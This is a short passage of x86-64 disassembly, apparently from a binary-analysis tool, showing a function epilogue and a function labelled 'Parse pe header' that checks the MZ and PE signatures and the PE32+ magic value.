mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140015d60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140015d88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140015d88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret